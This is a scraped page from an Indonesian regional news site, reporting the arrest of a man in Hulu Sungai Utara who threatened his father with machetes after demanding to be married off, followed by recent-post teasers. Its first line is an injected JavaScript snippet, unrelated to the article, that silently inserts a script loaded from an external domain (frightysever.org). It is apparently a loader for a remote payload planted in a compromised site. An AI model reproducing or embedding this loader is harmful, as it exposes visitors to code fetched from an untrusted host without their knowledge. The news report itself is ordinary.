(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Ngebet Minta Kawin, F Ancam Ayah Sendiri Pakai Parang


KANALKALIMANTAN.COM, AMUNTAI – Seorang pemuda bujangan, F (31) warga Desa Cakru, Kecamatan Amuntai Utara, Kabupaten Hulu Sungai Utara (HSU) harus menginap di bui. Lantaran mengancam orangtuanya dengan senjata tajam jenis parang.

Belakangan pemuda tersebut ditangkap karena mengancam orangtuanya yang tak menggubris permintaan dirinya untuk dikawinkan.

Atas tindakan pemuda pengangguran itu, akhirnya berujung kepada penangkapan, setelah oleh orangtua sendiri dilaporkan ke

“Aksi pelaku sudah sering dilakukannya, sehingga kejadian tersebut dilaporkan ke Polsek Amuntai Utara untuk proses lebih lanjut,” ujar Kapolsek Amuntai Utara Ipda Budi Aji, Senin (15/2/2021).

Dari informasi yang diperoleh Kanalkalimantan di kepolisian, kejadian bermula ketika pelaku F mengancaman ayahnya dengan menggunakan senjata tajam jenis parang pada Sabtu (13/2/202) sekitar 17.00 Wita.

F saat itu meminta untuk dinikahkan akan tetapi tidak digubris oleh sang ayah.
Tak terima hal tersebut, F akhirnya nekat mengambil dua buah senjata tajam sambil menebaskannya ke pagar rumah, serta tiang rumah. F juga mengancam bakal merobohkan rumah orangtuanya dengan parang.

“Jika permintaannya tersebut tak dituruti pelaku nekad akan menebasnya,” kata Kapolsek Amuntai Utara.

Namun ketika mendengar sang ayahnya menelpon polisi, akhirnya pelaku membuang kedua senjata tajam tersebut ke arah kolam air.

Mendapat laporan dari warga, polisi bergerak cepat dengan mengamankan pelaku beserta barang bukti di Desa Cakru RT 03 RW 02 Kecamatan Amuntai Utara, selanjutnya dibawa ke Mapolsek Amuntai Utara.

Atas kejadian tersebut, pelaku bersama barang bukti dapat terjerat tindak pidana pengancaman dan atau membawa, memiliki atau menyimpan senjata tajam tanpa memiliki surat ijin yang sah sebagaimana dimaksud pasal 335 KUHPidana dan/atau pasal 2 Ayat (1) Undang Undang Darurat nomor 12 tahun 1951. (kanalkalimantan.com/dew)

 

 

Reporter : Dew
Editor : Bie

 

 


Al Ghifari

Recent Posts

Gubernur Kalsel Puji Kepemimpinan Bupati Abdul Hadi

KANALKALIMANTAN.COM, PARINGIN - Dinilai sebagai kabupaten termuda dan terkaya, Gubernur Kalsel H Muhidin mengapresiasi kinerja… Read More

22 menit ago

Halalbihalal Bersama ASN, Bupati HSU: Jaga Kekompakan dan Satukan Tekad

KANALKALIMANTAN.COM, AMUNTAI - Pasca libur lebaran 1446 Hijriyah, jajaran Aparatur Sipil Negara (ASN) Kabupaten Hulu… Read More

1 jam ago

Tupperware Pamit Setelah 33 Tahun Hadir di Indonesia

KANALKALIMANTAN.COM - Produsen peralatan makan dan minum berbahan plastik, Tuppeware resmi menutup bisnisnya di Indonesia.… Read More

2 jam ago

Bawaslu Banjarbaru Dapati Dua Laporan Pelanggaran Jelang PSU

KANALKALIMANTAN.COM, BANJARBARU - Jelang pelaksanaan Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

22 jam ago

Rudapaksa Anak di Aluhaluh Disebut Lima Kali, SY Ditangkap Polisi

KANALKALIMANTAN.COM, BANJARBARU - Aksi amoral diduga dilakukan seorang lelaki warga Kabupaten Banjar melakukan perbuatan tak… Read More

22 jam ago

Wagub dan PUPR Kalsel Kunjungi Stadion 17 Mei

KANALKALIMANTAN.COM, BANJARMASIN - Pelaksana Tugas (Plt) Kepala Dinas PUPR Kalsel, M Yasin Toyib mendampingi Wakil… Read More

1 hari ago

This website uses cookies.